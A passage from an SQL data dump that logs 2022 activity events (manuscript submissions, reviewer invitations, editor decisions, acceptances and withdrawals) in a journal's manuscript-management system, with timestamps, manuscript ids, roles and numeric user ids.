Reviewer',12737,'Publisher',85),(117911,'2022-04-23 10:58:05','Publisher has Invited Reviewer',12737,'Publisher',85),(117912,'2022-04-23 10:58:10','Publisher has Invited Reviewer',12737,'Publisher',85),(117913,'2022-04-23 10:58:15','Publisher has Invited Reviewer',12737,'Publisher',85),(117914,'2022-04-23 10:58:21','Publisher has Invited Reviewer',12737,'Publisher',85),(117915,'2022-04-23 10:58:26','Publisher has Invited Reviewer',12737,'Publisher',85),(117916,'2022-04-23 10:58:31','Publisher has Invited Reviewer',12737,'Publisher',85),(117917,'2022-04-23 10:58:36','Publisher has Invited Reviewer',12737,'Publisher',85),(117918,'2022-04-23 10:58:42','Publisher has Invited Reviewer',12737,'Publisher',85),(117919,'2022-04-23 10:58:47','Publisher has Invited Reviewer',12737,'Publisher',85),(117920,'2022-04-23 10:58:52','Publisher has Invited Reviewer',12737,'Publisher',85),(117921,'2022-04-23 10:58:58','Publisher has Invited Reviewer',12737,'Publisher',85),(117922,'2022-04-23 10:59:03','Publisher has Invited Reviewer',12737,'Publisher',85),(117923,'2022-04-23 10:59:09','Publisher has Invited Reviewer',12737,'Publisher',85),(117924,'2022-04-23 10:59:14','Publisher has Invited Reviewer',12737,'Publisher',85),(117925,'2022-04-23 10:59:20','Publisher has Invited Reviewer',12737,'Publisher',85),(117926,'2022-04-23 10:59:25','Publisher has Invited Reviewer',12737,'Publisher',85),(117927,'2022-04-23 10:59:31','Publisher has Invited Reviewer',12737,'Publisher',85),(117928,'2022-04-23 10:59:36','Publisher has Invited Reviewer',12737,'Publisher',85),(117929,'2022-04-23 10:59:41','Publisher has Invited Reviewer',12737,'Publisher',85),(117930,'2022-04-23 10:59:47','Publisher has Invited Reviewer',12737,'Publisher',85),(117931,'2022-04-23 10:59:52','Publisher has Invited Reviewer',12737,'Publisher',85),(117932,'2022-04-23 10:59:58','Publisher has Invited Reviewer',12737,'Publisher',85),(117933,'2022-04-25 00:15:18','Editor has Accepted to review Manuscript',12739,'Editor',195),(117934,'2022-04-25 00:16:05','Editor has Invited Reviewer',12739,'Editor',195),(117935,'2022-04-25 00:16:58','Editor has Invited Reviewer',12739,'Editor',195),(117936,'2022-04-25 00:17:04','Editor has Invited Reviewer',12739,'Editor',195),(117937,'2022-04-25 00:17:10','Editor has Invited Reviewer',12739,'Editor',195),(117938,'2022-04-25 00:17:15','Editor has Invited Reviewer',12739,'Editor',195),(117939,'2022-04-25 00:17:20','Editor has Invited Reviewer',12739,'Editor',195),(117940,'2022-04-25 00:17:25','Editor has Invited Reviewer',12739,'Editor',195),(117941,'2022-04-25 00:17:30','Editor has Invited Reviewer',12739,'Editor',195),(117942,'2022-04-25 00:17:36','Editor has Invited Reviewer',12739,'Editor',195),(117943,'2022-04-25 00:17:41','Editor has Invited Reviewer',12739,'Editor',195),(117944,'2022-04-25 00:17:46','Editor has Invited Reviewer',12739,'Editor',195),(117945,'2022-04-25 00:17:51','Editor has Invited Reviewer',12739,'Editor',195),(117946,'2022-04-25 00:19:07','Editor has Invited Reviewer',12739,'Editor',195),(117947,'2022-04-25 00:19:12','Editor has Invited Reviewer',12739,'Editor',195),(117948,'2022-04-25 09:17:03','Editor has been Editor Decision Accepted article',12392,'Editor',1394),(117949,'2022-04-25 09:55:17','Publisher has been Accepted Articles  article',12392,'Publisher',85),(117950,'2022-04-25 15:22:36','Manuscript Submitted by Author',12754,'Author',12598),(117951,'2022-04-25 17:41:38','Editor has Accepted to review Manuscript',12688,'Editor',161),(117952,'2022-04-25 17:41:51','Editor has been Editor Decision Accepted article',12688,'Editor',161),(117953,'2022-04-25 17:42:41','Publisher: Accept Notification has been sent to Author',12688,'Publisher',75),(117954,'2022-04-25 17:43:06','Publisher has been Accepted Articles  article',12688,'Publisher',75),(117955,'2022-04-25 18:11:59','Manuscript Submitted by Author using Submission form',12755,'Author',13000),(117956,'2022-04-26 15:01:18','Publisher has been Assigned Editor',12753,'',1050),(117957,'2022-04-26 15:01:40','Publisher has been Assigned Editor',12752,'',1050),(117958,'2022-04-26 15:11:50','Publisher has been Accepted Articles  article',7477,'Publisher',85),(117959,'2022-04-27 04:23:34','Manuscript Submitted by Author using Submission form',12756,'Author',13001),(117960,'2022-04-27 10:54:43','Editor has Accepted to review Manuscript',12548,'Editor',1780),(117961,'2022-04-27 10:54:52','Editor has been Editor Decision Accepted article',12548,'Editor',1780),(117962,'2022-04-27 12:47:24','Manuscript Submitted by Author using Submission form',12757,'Author',13002),(117963,'2022-04-27 15:02:53','Manuscript Submitted by Author using Submission form',12758,'Author',13003),(117964,'2022-04-27 19:51:04','Manuscript Submitted by Author',12759,'Author',12962),(117965,'2022-04-28 10:44:45','Manuscript Submitted by Author using Submission form',12762,'Author',13007),(117966,'2022-04-28 10:48:27','Manuscript Submitted by Author',12763,'Author',13007),(117967,'2022-04-28 16:09:36','Manuscript Submitted by Author using Submission form',12762,'Author',13008),(117968,'2022-04-30 11:00:46','Publisher has been Assigned Editor',12756,'Publisher',984),(117969,'2022-04-30 11:18:15','Publisher: Accept Notification has been sent to Author',12548,'Publisher',984),(117970,'2022-05-01 12:49:24','Manuscript Submitted by Author',12763,'Author',12802),(117971,'2022-05-01 12:51:04','Manuscript Submitted by Author',12764,'Author',12802),(117972,'2022-05-01 12:54:22','Manuscript Submitted by Author',12765,'Author',12802),(117973,'2022-05-01 12:58:11','Manuscript Submitted by Author',12766,'Author',12802),(117974,'2022-05-01 13:01:17','Manuscript Submitted by Author',12767,'Author',12802),(117975,'2022-05-02 09:50:28','Publisher has been Assigned Editor',12755,'Publisher',48),(117976,'2022-05-02 09:50:46','Publisher has been Assigned Editor',12748,'Publisher',48),(117977,'2022-05-02 14:44:27','Manuscript Submitted by Author using Submission form',12768,'Author',13010),(117978,'2022-05-02 15:58:00','Reviewer has submitted comments',12735,'Reviewer',12532),(117979,'2022-05-02 16:35:23','Publisher has Invited Reviewer',12742,'Publisher',48),(117980,'2022-05-02 16:35:28','Publisher has Invited Reviewer',12742,'Publisher',48),(117981,'2022-05-02 16:35:34','Publisher has Invited Reviewer',12742,'Publisher',48),(117982,'2022-05-02 16:35:39','Publisher has Invited Reviewer',12742,'Publisher',48),(117983,'2022-05-02 16:35:44','Publisher has Invited Reviewer',12742,'Publisher',48),(117984,'2022-05-02 17:37:38','Editor has Accepted to review Manuscript',12735,'Editor',188),(117985,'2022-05-02 17:40:50','Editor has been Editor Decision Accepted article',12735,'Editor',188),(117986,'2022-05-02 18:10:22','Manuscript Submitted by Author using Submission form',12769,'Author',13011),(117987,'2022-05-02 19:46:24','Author sent Email',12668,'Author',12929),(117988,'2022-05-03 10:41:53','Publisher has been Accepted Articles  article',12668,'Publisher',85),(117989,'2022-05-03 15:31:41','Publisher has been Withdrawn  article',12339,'Publisher',85),(117990,'2022-05-03 15:34:08','Publisher has been Withdrawn  article',12341,'Publisher',85),(117991,'2022-05-03 15:46:03','Editor has Accepted to review Manuscript',12692,'Editor',160),(117992,'2022-05-03 15:55:21','Editor has been Editor Decision Accepted article',12692,'Editor',160),(117993,'2022-05-03 15:56:03','Publisher: Accept Notification has been sent to Author',12692,'Publisher',75),(117994,'2022-05-03 15:56:22','Publisher has been Accepted Articles  article',12692,'Publisher',75),(117995,'2022-05-03 17:51:31','Editor has Accepted to review Manuscript',12755,'Editor',195),(117996,'2022-05-03 17:52:33','Editor has Invited Reviewer',12755,'Editor',195),(117997,'2022-05-03 17:52:49','Editor has Invited Reviewer',12755,'Editor',195),(117998,'2022-05-03 17:52:55','Editor has Invited Reviewer',12755,'Editor',195),(117999,'2022-05-03 17:53:00','Editor has Invited Reviewer',12755,'Editor',195),(118000,'2022-05-03 17:53:05','Editor has Invited Reviewer',12755,'Editor',195),(118001,'2022-05-03 17:53:11','Editor has Invited Reviewer',12755,'Editor',195),(118002,'2022-05-03 17:54:09','Editor has Invited Reviewer',12755,'Editor',195),(118003,'2022-05-03 17:54:15','Editor has Invited Reviewer',12755,'Editor',195),(118004,'2022-05-03 17:54:20','Editor has Invited Reviewer',12755,'Editor',195),(118005,'2022-05-03 17:54:25','Editor has Invited Reviewer',12755,'Editor',195),(118006,'2022-05-03 17:54:30','Editor has Invited Reviewer',12755,'Editor',195),(118007,'2022-05-03 17:54:35','Editor has Invited Reviewer',12755,'Editor',195),(118008,'2022-05-03 17:54:41','Editor has Invited Reviewer',12755,'Editor',195),(118009,'2022-05-03 17:54:46','Editor has Invited Reviewer',12755,'Editor',195),(118010,'2022-05-03 19:14:09','Editor has Accepted to review Manuscript',12695,'Editor',195),(118011,'2022-05-04 11:11:25','Manuscript Submitted by Author using Submission form',12770,'Author',13012),(118012,'2022-05-04 12:18:47','Publisher has Invited Reviewer',12745,'Publisher',48),(118013,'2022-05-04 12:19:52','Publisher has Invited Reviewer',12745,'Publisher',48),(118014,'2022-05-04 12:19:57','Publisher has Invited Reviewer',12745,'Publisher',48),(118015,'2022-05-04 15:39:00','Publisher has been Accepted Articles  article',12735,'Publisher',48),(118016,'2022-05-04 17:10:39','Editor has Accepted to review Manuscript',12407,'Editor',1343),(118017,'2022-05-04 17:10:51','Editor has been Editor Decision Accepted article',12407,'Editor',1343),(118018,'2022-05-04 17:12:24','Publisher has been Accepted Articles  article',12407,'Publisher',85),(118019,'2022-05-04 17:13:02','Manuscript Updated',7518,'Publisher',85),(118020,'2022-05-04 17:14:36','Publisher has been Accepted Articles  article',7518,'Publisher',85),(118021,'2022-05-04 17:17:11','Manuscript Updated',7517,'Publisher',85),(118022,'2022-05-04 17:17:48','Publisher has been Accepted Articles  article',7518,'Publisher',85),(118023,'2022-05-04 17:19:18','Publisher has been Accepted Articles  article',7517,'Publisher',85),(118024,'2022-05-04 17:30:28','Publisher has Invited Reviewer',12746,'Publisher',48),(118025,'2022-05-04 17:30:34','Publisher has Invited Reviewer',12746,'Publisher',48),(118026,'2022-05-04 17:30:42','Publisher has Invited Reviewer',12746,'Publisher',48),(118027,'2022-05-04 17:30:48','Publisher has Invited Reviewer',12746,'Publisher',48),(118028,'2022-05-04 18:00:56','Editor has Accepted to review Manuscript',12711,'Editor',194),(118029,'2022-05-04 18:00:57','Editor has Accepted to review Manuscript',12711,'Editor',194),(118030,'2022-05-04 18:01:40','Editor has been Editor Decision Accepted article',12711,'Editor',194),(118031,'2022-05-04 18:01:50','Editor has Accepted to review Manuscript',12680,'Editor',194),(118032,'2022-05-04 18:02:05','Editor has been Editor Decision Accepted article',12680,'Editor',194),(118033,'2022-05-04 20:44:05','Manuscript Submitted by Author using Submission form',12771,'Author',13013),(118034,'2022-05-05 14:23:31','Publisher has been Assigned Editor',12769,'Publisher',984),(118035,'2022-05-05 14:31:02','Publisher has been Accepted Articles  article',12548,'Publisher',984),(118036,'2022-05-05 14:31:04','Publisher has been Accepted Articles  article',12548,'Publisher',984),(118037,'2022-05-05 14:31:06','Publisher has been Accepted Articles  article',12548,'Publisher',984),(118038,'2022-05-05 17:50:07','Publisher has Invited Reviewer',12769,'Publisher',984),(118039,'2022-05-05 17:50:12','Publisher has Invited Reviewer',12769,'Publisher',984),(118040,'2022-05-05 23:11:51','Manuscript Submitted by Author',12773,'Author',9267),(118041,'2022-05-06 06:39:45','Manuscript Submitted by Author using Submission form',12774,'Author',13015),(118042,'2022-05-06 09:11:10','Publisher has Invited Reviewer',12747,'Publisher',48),(118043,'2022-05-06 09:11:15','Publisher has Invited Reviewer',12747,'Publisher',48),(118044,'2022-05-06 09:11:21','Publisher has Invited Reviewer',12747,'Publisher',48),(118045,'2022-05-06 09:11:26','Publisher has Invited Reviewer',12747,'Publisher',48),(118046,'2022-05-06 09:11:32','Publisher has Invited Reviewer',12747,'Publisher',48),(118047,'2022-05-06 09:14:03','Publisher has Invited Reviewer',12748,'Publisher',48),(118048,'2022-05-06 09:14:08','Publisher has Invited Reviewer',12748,'Publisher',48),(118049,'2022-05-06 09:14:13','Publisher has Invited Reviewer',12748,'Publisher',48),(118050,'2022-05-06 09:14:19','Publisher has Invited Reviewer',12748,'Publisher',48),(118051,'2022-05-06 12:06:54','Manuscript Submitted by Author using Submission form',12775,'Author',13016),(118052,'2022-05-06 17:14:00','Publisher has been Assigned Editor',12774,'Publisher',984),(118053,'2022-05-06 17:17:38','Publisher has Invited Reviewer',12774,'Publisher',984),(118054,'2022-05-06 17:17:43','Publisher has Invited Reviewer',12774,'Publisher',984),(118055,'2022-05-06 17:17:48','Publisher has Invited Reviewer',12774,'Publisher',984),(118056,'2022-05-06 17:17:54','Publisher has Invited Reviewer',12774,'Publisher',984),(118057,'2022-05-06 17:19:19','Publisher has been Withdrawn  article',12706,'Publisher',984),(118058,'2022-05-06 17:19:39','Publisher has been Withdrawn  article',12707,'Publisher',984),(118059,'2022-05-06 17:20:36','Publisher has been Withdrawn  article',12708,'Publisher',984),(118060,'2022-05-06 17:20:53','Publisher has been Withdrawn  article',12709,'Publisher',984),(118061,'2022-05-06 17:21:10','Publisher has been Withdrawn  article',12710,'Publisher',984),(118062,'2022-05-07 10:10:58','Editor has Accepted to review Manuscript',12691,'Editor',161),(118063,'2022-05-07 10:11:09','Editor has been Editor Decision Accepted article',12691,'Editor',161),(118064,'2022-05-07 10:12:39','Publisher: Accept Notification has been sent to Author',12691,'Publisher',75),(118065,'2022-05-07 10:13:10','Publisher has been Accepted Articles  article',12691,'Publisher',75),(118066,'2022-05-07 13:34:04','Manuscript Submitted by Author using Submission form',12777,'Author',13018),(118067,'2022-05-07 23:10:48','Author sent Email',12737,'Author',12994),(118068,'2022-05-09 15:50:18','Editor has Accepted to review Manuscript',12698,'Editor',161),(118069,'2022-05-09 15:50:30','Editor has been Editor Decision Accepted article',12698,'Editor',161),(118070,'2022-05-09 15:52:12','Publisher: Accept Notification has been sent to Author',12698,'Publisher',75),(118071,'2022-05-09 15:52:37','Publisher has been Accepted Articles  article',12698,'Publisher',75),(118072,'2022-05-09 17:09:58','Publisher has been Assigned Editor',12759,'Publisher',48),(118073,'2022-05-10 10:54:29','Publisher has Invited Reviewer',12737,'Publisher',85),(118074,'2022-05-10 11:32:54','Reviewer has submitted comments',12737,'Reviewer',8994),(118075,'2022-05-10 13:46:10','Publisher has Invited Reviewer',12756,'Publisher',984),(118076,'2022-05-10 13:46:15','Publisher has Invited Reviewer',12756,'Publisher',984),(118077,'2022-05-10 13:46:20','Publisher has Invited Reviewer',12756,'Publisher',984),(118078,'2022-05-10 13:46:26','Publisher has Invited Reviewer',12756,'Publisher',984),(118079,'2022-05-10 13:46:32','Publisher has Invited Reviewer',12756,'Publisher',984),(118080,'2022-05-10 13:46:37','Publisher has Invited Reviewer',12756,'Publisher',984),(118081,'2022-05-10 13:46:43','Publisher has Invited Reviewer',12756,'Publisher',984),(118082,'2022-05-10 13:46:48','Publisher has Invited Reviewer',12756,'Publisher',984),(118083,'2022-05-10 13:46:53','Publisher has Invited Reviewer',12756,'Publisher',984),(118084,'2022-05-10 13:46:59','Publisher has Invited Reviewer',12756,'Publisher',984),(118085,'2022-05-10 13:47:04','Publisher has Invited Reviewer',12756,'Publisher',984),(118086,'2022-05-10 13:47:09','Publisher has Invited Reviewer',12756,'Publisher',984),(118087,'2022-05-10 13:47:15','Publisher has Invited Reviewer',12756,'Publisher',984),(118088,'2022-05-10 14:32:58','Publisher has been Assigned Editor',12777,'Publisher',75),(118089,'2022-05-10 14:54:26','Reviewer has submitted comments',12669,'Reviewer',18593),(118090,'2022-05-10 14:54:55','Editor has Accepted to review Manuscript',12669,'Editor',194),(118091,'2022-05-10 14:55:12','Editor has been Editor Decision Accepted article',12669,'Editor',194),(118092,'2022-05-10 15:03:05','Publisher has been Accepted Articles  article',12669,'Publisher',48),(118093,'2022-05-10 16:44:10','Editor has Accepted to review Manuscript',12737,'Editor',1675),(118094,'2022-05-10 16:48:35','Reviewer has submitted comments',12737,'Reviewer',8994),(118095,'2022-05-10 16:58:47','Reviewer has submitted comments',12737,'Reviewer',14909),(118096,'2022-05-10 16:58:58','Reviewer has submitted comments',12737,'Reviewer',14909),(118097,'2022-05-10 17:10:06','Reviewer has submitted comments',12737,'Reviewer',15363),(118098,'2022-05-10 17:18:29','Publisher has been Assigned Editor',12771,'Publisher',85),(118099,'2022-05-11 09:24:49','Publisher has Invited Reviewer',12771,'Publisher',85),(118100,'2022-05-11 09:24:55','Publisher has Invited Reviewer',12771,'Publisher',85),(118101,'2022-05-11 09:25:01','Publisher has Invited Reviewer',12771,'Publisher',85),(118102,'2022-05-11 09:25:07','Publisher has Invited Reviewer',12771,'Publisher',85),(118103,'2022-05-11 09:25:12','Publisher has Invited Reviewer',12771,'Publisher',85),(118104,'2022-05-11 09:25:17','Publisher has Invited Reviewer',12771,'Publisher',85),(118105,'2022-05-11 09:25:23','Publisher has Invited Reviewer',12771,'Publisher',85),(118106,'2022-05-11 09:25:28','Publisher has Invited Reviewer',12771,'Publisher',85),(118107,'2022-05-11 09:25:33','Publisher has Invited Reviewer',12771,'Publisher',85),(118108,'2022-05-11 09:25:38','Publisher has Invited Reviewer',12771,'Publisher',85),(118109,'2022-05-11 09:25:44','Publisher has Invited Reviewer',12771,'Publisher',85),(118110,'2022-05-11 09:25:49','Publisher has Invited Reviewer',12771,'Publisher',85),(118111,'2022-05-11 09:25:54','Publisher has Invited Reviewer',12771,'Publisher',85),(118112,'2022-05-11 09:26:00','Publisher has Invited Reviewer',12771,'Publisher',85),(118113,'2022-05-11 09:26:05','Publisher has Invited Reviewer',12771,'Publisher',85),(118114,'2022-05-11 09:26:10','Publisher has Invited Reviewer',12771,'Publisher',85),(118115,'2022-05-11 09:26:16','Publisher has Invited Reviewer',12771,'Publisher',85),(118116,'2022-05-11 09:29:52','Publisher has Invited Reviewer',12771,'Publisher',85),(118117,'2022-05-11 09:29:58','Publisher has Invited Reviewer',12771,'Publisher',85),(118118,'2022-05-11 09:30:03','Publisher has Invited Reviewer',12771,'Publisher',85),(118119,'2022-05-11 09:30:09','Publisher has Invited Reviewer',12771,'Publisher',85),(118120,'2022-05-11 09:30:14','Publisher has Invited Reviewer',12771,'Publisher',85),(118121,'2022-05-11 09:30:20','Publisher has Invited Reviewer',12771,'Publisher',85),(118122,'2022-05-11 09:30:25','Publisher has Invited Reviewer',12771,'Publisher',85),(118123,'2022-05-11 09:30:31','Publisher has Invited Reviewer',12771,'Publisher',85),(118124,'2022-05-11 09:30:36','Publisher has Invited Reviewer',12771,'Publisher',85),(118125,'2022-05-11 09:30:42','Publisher has Invited Reviewer',12771,'Publisher',85),(118126,'2022-05-11 09:30:47','Publisher has Invited Reviewer',12771,'Publisher',85),(118127,'2022-05-11 09:30:52','Publisher has Invited Reviewer',12771,'Publisher',85),(118128,'2022-05-11 09:30:58','Publisher has Invited Reviewer',12771,'Publisher',85),(118129,'2022-05-11 09:31:03','Publisher has Invited Reviewer',12771,'Publisher',85),(118130,'2022-05-11 09:31:09','Publisher has Invited Reviewer',12771,'Publisher',85),(118131,'2022-05-11 09:31:14','Publisher has Invited Reviewer',12771,'Publisher',85),(118132,'2022-05-11 09:31:19','Publisher has Invited Reviewer',12771,'Publisher',85),(118133,'2022-05-11 09:31:25','Publisher has Invited Reviewer',12771,'Publisher',85),(118134,'2022-05-11 09:31:30','Publisher has Invited Reviewer',12771,'Publisher',85),(118135,'2022-05-11 09:31:35','Publisher has Invited Reviewer',12771,'Publisher',85),(118136,'2022-05-11 09:31:40','Publisher has Invited Reviewer',12771,'Publisher',85),(118137,'2022-05-11 09:31:46','Publisher has Invited Reviewer',12771,'Publisher',85),(118138,'2022-05-11 09:31:51','Publisher has Invited Reviewer',12771,'Publisher',85),(118139,'2022-05-11 09:31:57','Publisher has Invited Reviewer',12771,'Publisher',85),(118140,'2022-05-11 09:32:02','Publisher has Invited Reviewer',12771,'Publisher',85),(118141,'2022-05-11 09:32:07','Publisher has Invited Reviewer',12771,'Publisher',85),(118142,'2022-05-11 09:32:13','Publisher has Invited Reviewer',12771,'Publisher',85),(118143,'2022-05-11 09:32:18','Publisher has Invited Reviewer',12771,'Publisher',85),(118144,'2022-05-11 09:32:23','Publisher has Invited Reviewer',12771,'Publisher',85),(118145,'2022-05-11 09:32:29','Publisher has Invited Reviewer',12771,'Publisher',85),(118146,'2022-05-11 09:32:34','Publisher has Invited Reviewer',12771,'Publisher',85),(118147,'2022-05-11 09:32:40','Publisher has Invited Reviewer',12771,'Publisher',85),(118148,'2022-05-11 09:49:35','Publisher has Invited Reviewer',12771,'Publisher',85),(118149,'2022-05-11 09:49:40','Publisher has Invited Reviewer',12771,'Publisher',85),(118150,'2022-05-11 09:49:46','Publisher has Invited Reviewer',12771,'Publisher',85),(118151,'2022-05-11 09:49:51','Publisher has Invited Reviewer',12771,'Publisher',85),(118152,'2022-05-11 09:49:57','Publisher has Invited Reviewer',12771,'Publisher',85),(118153,'2022-05-11 09:50:03','Publisher has Invited Reviewer',12771,'Publisher',85),(118154,'2022-05-11 09:50:08','Publisher has Invited Reviewer',12771,'Publisher',85),(118155,'2022-05-11 09:50:14','Publisher has Invited Reviewer',12771,'Publisher',85),(118156,'2022-05-11 09:50:19','Publisher has Invited Reviewer',12771,'Publisher',85),(118157,'2022-05-11 09:50:25','Publisher has Invited Reviewer',12771,'Publisher',85),(118158,'2022-05-11 09:50:30','Publisher has Invited Reviewer',12771,'Publisher',85),(118159,'2022-05-11 09:50:36','Publisher has Invited Reviewer',12771,'Publisher',85),(118160,'2022-05-11 09:50:42','Publisher has Invited Reviewer',12771,'Publisher',85),(118161,'2022-05-11 13:32:30','Publisher has Invited Reviewer',12759,'Publisher',48),(118162,'2022-05-11 13:33:39','Publisher has Invited Reviewer',12759,'Publisher',48),(118163,'2022-05-11 13:33:45','Publisher has Invited Reviewer',12759,'Publisher',48),(118164,'2022-05-11 13:35:42','Reviewer has submitted comments',12737,'Reviewer',15363),(118165,'2022-05-11 13:38:54','Reviewer has updated comments',12737,'Reviewer',15363),(118166,'2022-05-11 13:43:38','Publisher : Notified Editor',12737,'Publisher',85),(118167,'2022-05-11 13:47:58','Publisher : Notified Editor',12737,'Publisher',85),(118168,'2022-05-11 13:48:34','Editor has been Editor Decision Accepted article',12737,'Editor',1675),(118169,'2022-05-11 13:48:40','Editor has Accepted to review Manuscript',12771,'Editor',1675),(118170,'2022-05-11 13:48:46','Editor has Accepted to review Manuscript',12728,'Editor',1675),(118171,'2022-05-11 13:48:51','Editor has Accepted to review Manuscript',12726,'Editor',1675),(118172,'2022-05-11 16:07:43','Reviewer has updated comments',12756,'Reviewer',10978),(118173,'2022-05-11 16:07:54','Reviewer has updated comments',12756,'Reviewer',10978),(118174,'2022-05-11 16:49:54','Manuscript Submitted by Author using Submission form',12780,'Author',13021),(118175,'2022-05-11 16:50:22','Publisher has Invited Reviewer',12777,'Publisher',75),(118176,'2022-05-11 16:50:28','Publisher has Invited Reviewer',12777,'Publisher',75),(118177,'2022-05-11 16:50:34','Publisher has Invited Reviewer',12777,'Publisher',75),(118178,'2022-05-11 16:50:39','Publisher has Invited Reviewer',12777,'Publisher',75),(118179,'2022-05-11 16:50:44','Publisher has Invited Reviewer',12777,'Publisher',75),(118180,'2022-05-11 16:50:50','Publisher has Invited Reviewer',12777,'Publisher',75),(118181,'2022-05-11 17:02:20','Editor has Accepted to review Manuscript',12720,'Editor',160),(118182,'2022-05-11 17:02:29','Editor has been Editor Decision Accepted article',12720,'Editor',160),(118183,'2022-05-11 17:03:13','Publisher: Accept Notification has been sent to Author',12720,'Publisher',75),(118184,'2022-05-11 17:03:50','Publisher has been Accepted Articles  article',12720,'Publisher',75),(118185,'2022-05-11 17:28:21','Publisher has been Accepted Articles  article',12737,'Publisher',85),(118186,'2022-05-13 12:04:53','Publisher has been Accepted Articles  article',12313,'Publisher',48),(118187,'2022-05-13 14:18:37','Editor has Accepted to review Manuscript',12457,'Editor',194),(118188,'2022-05-13 14:18:56','Editor has been Editor Decision Accepted article',12457,'Editor',194),(118189,'2022-05-13 14:21:38','Publisher has been Accepted Articles  article',12457,'Publisher',48),(118190,'2022-05-15 13:04:40','Author sent Email',12737,'Author',12994),(118191,'2022-05-15 21:28:58','Manuscript Submitted by Author using Submission form',12782,'Author',13024),(118192,'2022-05-16 15:12:39','Reviewer has submitted comments',12554,'Reviewer',11714),(118193,'2022-05-16 15:13:17','Editor has Accepted to review Manuscript',12554,'Editor',194),(118194,'2022-05-16 15:13:34','Editor has been Editor Decision Accepted article',12554,'Editor',194),(118195,'2022-05-16 15:14:34','Publisher has been Accepted Articles  article',12554,'Publisher',48),(118196,'2022-05-16 15:56:04','Editor has Accepted to review Manuscript',12769,'Editor',1780),(118197,'2022-05-16 15:56:15','Editor has Accepted to review Manuscript',12774,'Editor',1780),(118198,'2022-05-16 16:39:29','Publisher has been Withdrawn  article',12739,'Publisher',48),(118199,'2022-05-16 16:42:35','Publisher has been Withdrawn  article',12742,'Publisher',48),(118200,'2022-05-17 06:43:22','Manuscript Submitted by Author',12783,'Author',9267),(118201,'2022-05-17 07:56:26','Manuscript Submitted by Author',12784,'Author',9267),(118202,'2022-05-17 08:46:40','Reviewer has submitted comments',12753,'Reviewer',21378),(118203,'2022-05-17 12:12:23','Manuscript Submitted by Author using Submission form',12785,'Author',13026),(118204,'2022-05-17 14:46:44','Reviewer has submitted comments',12571,'Reviewer',12532),(118205,'2022-05-17 14:47:18','Editor has Accepted to review Manuscript',12571,'Editor',194),(118206,'2022-05-17 14:47:32','Editor has been Editor Decision Accepted article',12571,'Editor',194),(118207,'2022-05-17 14:48:25','Publisher has been Accepted Articles  article',12571,'Publisher',48),(118208,'2022-05-18 08:43:51','Publisher has been Assigned Editor',12782,'Publisher',85),(118209,'2022-05-18 08:44:56','Publisher has Invited Reviewer',12782,'Publisher',85),(118210,'2022-05-18 08:45:02','Publisher has Invited Reviewer',12782,'Publisher',85),(118211,'2022-05-18 08:45:07','Publisher has Invited Reviewer',12782,'Publisher',85),(118212,'2022-05-18 08:45:12','Publisher has Invited Reviewer',12782,'Publisher',85),(118213,'2022-05-18 08:45:17','Publisher has Invited Reviewer',12782,'Publisher',85),(118214,'2022-05-18 08:45:23','Publisher has Invited Reviewer',12782,'Publisher',85),(118215,'2022-05-18 08:45:28','Publisher has Invited Reviewer',12782,'Publisher',85),(118216,'2022-05-18 08:45:33','Publisher has Invited Reviewer',12782,'Publisher',85),(118217,'2022-05-18 08:45:38','Publisher has Invited Reviewer',12782,'Publisher',85),(118218,'2022-05-18 08:45:44','Publisher has Invited Reviewer',12782,'Publisher',85),(118219,'2022-05-18 08:45:49','Publisher has Invited Reviewer',12782,'Publisher',85),(118220,'2022-05-18 08:45:54','Publisher has Invited Reviewer',12782,'Publisher',85),(118221,'2022-05-18 08:45:59','Publisher has Invited Reviewer',12782,'Publisher',85),(118222,'2022-05-18 08:46:05','Publisher has Invited Reviewer',12782,'Publisher',85),(118223,'2022-05-18 08:46:10','Publisher has Invited Reviewer',12782,'Publisher',85),(118224,'2022-05-18 08:46:15','Publisher has Invited Reviewer',12782,'Publisher',85),(118225,'2022-05-18 10:27:11','Reviewer has been sent email to Publisher',12782,'Reviewer',11969),(118226,'2022-05-18 12:02:39','Reviewer has submitted comments',12755,'Reviewer',15740),(118227,'2022-05-18 13:19:11','Editor has been Editor Decision Accepted article',12755,'Editor',195),(118228,'2022-05-18 13:20:28','Publisher has been Accepted Articles  article',12755,'Publisher',48),(118229,'2022-05-18 15:49:02','Publisher has been Assigned Editor',12785,'Publisher',48),(118230,'2022-05-18 15:49:20','Publisher has been Assigned Editor',12784,'Publisher',48),(118231,'2022-05-18 15:49:35','Publisher has been Assigned Editor',12783,'Publisher',48),(118232,'2022-05-18 18:50:57','Manuscript Submitted by Author',12786,'Author',9267),(118233,'2022-05-18 22:17:22','Editor has Accepted to review Manuscript',12784,'Editor',195),(118234,'2022-05-18 22:18:00','Editor has Invited Reviewer',12784,'Editor',195),(118235,'2022-05-18 22:18:06','Editor has Invited Reviewer',12784,'Editor',195),(118236,'2022-05-18 22:18:11','Editor has Invited Reviewer',12784,'Editor',195),(118237,'2022-05-18 22:18:17','Editor has Invited Reviewer',12784,'Editor',195),(118238,'2022-05-18 22:18:22','Editor has Invited Reviewer',12784,'Editor',195),(118239,'2022-05-18 22:18:28','Editor has Invited Reviewer',12784,'Editor',195),(118240,'2022-05-18 22:18:33','Editor has Invited Reviewer',12784,'Editor',195),(118241,'2022-05-18 22:18:38','Editor has Invited Reviewer',12784,'Editor',195),(118242,'2022-05-18 22:18:44','Editor has Invited Reviewer',12784,'Editor',195),(118243,'2022-05-18 22:18:49','Editor has Invited Reviewer',12784,'Editor',195),(118244,'2022-05-18 22:18:54','Editor has Invited Reviewer',12784,'Editor',195),(118245,'2022-05-18 22:18:59','Editor has Invited Reviewer',12784,'Editor',195),(118246,'2022-05-18 22:19:05','Editor has Invited Reviewer',12784,'Editor',195),(118247,'2022-05-18 22:19:10','Editor has Invited Reviewer',12784,'Editor',195),(118248,'2022-05-18 22:19:16','Editor has Invited Reviewer',12784,'Editor',195),(118249,'2022-05-18 22:19:22','Editor has Invited Reviewer',12784,'Editor',195),(118250,'2022-05-18 22:19:28','Editor has Invited Reviewer',12784,'Editor',195),(118251,'2022-05-18 22:19:33','Editor has Invited Reviewer',12784,'Editor',195),(118252,'2022-05-18 22:23:29','Editor has Invited Reviewer',12784,'Editor',195),(118253,'2022-05-18 22:25:09','Editor has been Editor Decision Accepted article',12755,'Editor',195),(118254,'2022-05-18 22:25:52','Editor has Invited Reviewer',12697,'Editor',195),(118255,'2022-05-18 22:25:57','Editor has Invited Reviewer',12697,'Editor',195),(118256,'2022-05-18 22:26:03','Editor has Invited Reviewer',12697,'Editor',195),(118257,'2022-05-18 22:26:08','Editor has Invited Reviewer',12697,'Editor',195),(118258,'2022-05-18 22:26:14','Editor has 